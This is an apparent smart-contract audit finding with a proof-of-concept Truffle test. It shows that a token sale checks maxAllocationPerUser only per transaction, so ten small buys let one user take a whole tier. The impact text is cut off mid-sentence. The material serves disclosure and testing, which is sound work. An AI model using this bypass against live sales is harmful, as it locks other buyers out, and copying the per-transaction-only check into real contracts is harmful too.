HIGH severity: Attacker can bypass token sale `maxAllocationPerUser` restriction to buy out the entire tier. **Description:** An attacker can bypass the token sale `maxAllocationPerUser` restriction to buy out the entire tier by doing multiple small buys under this limit.

**Impact:** Permanent grief for other users who are unable to buy any of the exploited tier's tokens. Depending on the total supply a.....

Vulnerable code:
{
          metadata: {
            name: "tier 8",
            description: "the eighth tier",
          },
          totalTokenProvided: wei(1000),
          saleStartTime: timeNow.toString(),
          saleEndTime: (timeNow + 10000).toString(),
          claimLockDuration: "0",
          saleTokenAddress: saleToken.address,
          purchaseTokenAddresses: [purchaseToken1.address],
          exchangeRates: [PRECISION.times(4).toFixed()],
          minAllocationPerUser: wei(10),
          maxAllocationPerUser: wei(100),
          vestingSettings: {
            vestingPercentage: "0",
            vestingDuration: "0",
            cliffPeriod: "0",
            unlockStep: "0",
          },
          participationDetails: [],
        },

it("attacker can bypass token sale maxAllocationPerUser to buy out the entire tier", async () => {
            await purchaseToken1.approve(tsp.address, wei(1000));

            // tier8 has the following parameters:
            // totalTokenProvided   : wei(1000)
            // minAllocationPerUser : wei(10)
            // maxAllocationPerUser : wei(100)
            // exchangeRate         : 4 sale tokens for every 1 purchaseToken
            //
            // one user should at most be able to buy wei(100),
            // or 10% of the total tier.
            //
            // any user can bypass this limit by doing multiple
            // smaller buys to buy the entire tier.
            //
            // start: user has bought no tokens
            let TIER8 = 8;
            let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER8]))[0].purchaseView;
            assert.equal(purchaseView.claimTotalAmount, wei(0));

            // if the user tries to buy it all in one txn,
            // maxAllocationPerUser is enforced and the txn reverts
            await truffleAssert.reverts(tsp.buy(TIER8, purchaseToken1.address, wei(250)), "TSP: wrong allocation");

            // but user can do multiple smaller buys to get around the
            // maxAllocationPerUser check which only checks each
            // txn individually, doesn't factor in the total amount
            // user has already bought
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));
            await tsp.buy(TIER8, purchaseToken1.address, wei(25));

            // end: user has bought wei(1000) tokens - the entire tier!
            purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER8]))[0].purchaseView;
            assert.equal(purchaseView.claimTotalAmount, wei(1000));

            // attempting to buy more fails as the entire tier
            // has been bought by the single user
            await truffleAssert.reverts(
              tsp.buy(TIER8, purchaseToken1.address, wei(25)),
              "TSP: insufficient sale token amount"
            );
          });